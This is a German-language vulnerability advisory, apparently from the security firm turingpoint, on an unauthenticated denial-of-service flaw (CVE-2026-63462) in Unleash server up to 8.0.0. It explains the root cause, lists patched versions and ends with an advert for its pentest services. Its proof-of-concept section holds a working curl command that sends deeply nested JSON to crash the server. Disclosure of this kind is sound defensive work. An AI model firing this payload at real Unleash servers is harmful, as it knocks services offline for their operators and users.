Unleash: Unauthentifizierter Denial of Service über tief verschachteltes JSON
Ein entfernter, unauthentifizierter Angreifer bringt den gesamten Unleash-Server mit einem einzigen POST (~10 KB) aus tief verschachteltem JSON an einen beliebigen OpenAPI-validierten Endpoint zum Absturz; der Prozess beendet sich und erholt sich ohne manuellen Neustart nicht.
Advisory-ID: TP-2026-035
Produkt: Unleash (Open-Source-Feature-Flag- und Toggle-Plattform, unleash-server)
Schwachstellentyp: Denial of Service durch unkontrollierte Rekursion bei der JSON-Serialisierung (CWE-674)
CVE: CVE-2026-63462
CVSS 3.1: 7.5 (Hoch) · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Betroffene Versionen: <= 8.0.0
Gepatcht in: 8.0.4, 7.6.5, 7.5.2
Hersteller-Advisory: GHSA-r5pq-6chh-j3xp
Gemeldet: 9. Juni 2026
Zusammenfassung
Unleash ist eine weit verbreitete Open-Source-Plattform für Feature-Flags. Ein unauthentifizierter Angreifer kann den gesamten Server mit einer einzigen POST-Anfrage lahmlegen, die tief verschachteltes JSON (rund 10 KB) an einen beliebigen OpenAPI-validierten Endpoint sendet, darunter öffentliche Endpoints wie /edge/validate und /edge/issue-token. Schlägt die Request-Validierung fehl, ruft der Fehler-Formatter JSON.stringify ungeschützt auf dem rohen, beanstandeten Wert aus dem Request-Body auf (src/lib/error/bad-data-error.ts:75). Ein tausendfach verschachtelter Wert sprengt beim JSON.stringify das Call-Stack-Limit von V8 und wirft einen RangeError. Die synchrone Exception tritt in der Express-Error-Middleware ohne try/catch auf; da der Prozess keinen uncaughtException-Handler registriert, beendet Node sich mit Exit-Code 1. Ohne Restart-Policy bleibt der Dienst dauerhaft offline, mit Restart-Policy entsteht eine Crash-Loop. turingpoint hat die Schwachstelle verifiziert und gemeldet.
Proof of Concept
# Normalverhalten: flacher Payload -> HTTP 400, Server bleibt erreichbar
curl -X POST http://localhost:4242/edge/validate \
-H 'Content-Type: application/json' -d '{"tokens":[[]]}'
# Crash-Trigger: tief verschachtelter Payload (~5000 Ebenen)
curl -X POST http://localhost:4242/edge/validate \
-H 'Content-Type: application/json' \
--data-binary "$(python3 -c 'd=5000;print("{\"tokens\":["+"["*d+"]"*d+"]}")')"
# -> Verbindung bricht ab, der Prozess beendet sich (Exit 1) und bleibt
# ohne manuellen Neustart offline.
Die Absturzschwelle liegt bei etwa 4000 bis 4500 Verschachtelungsebenen; eine Tiefe von 5000 legt den Dienst zuverlässig lahm. Der verwundbare Codepfad liegt in src/lib/error/bad-data-error.ts (genericErrorMessage) und betrifft alle OpenAPI-validierten Routen.
Referenzen
Steckt so etwas in Ihrer Software?
Diese Schwachstelle hat unser Team im Rahmen seiner Arbeit gefunden. Lassen Sie Ihre Anwendungen von denselben Spezialisten prüfen, mit einem Penetrationstest von turingpoint.
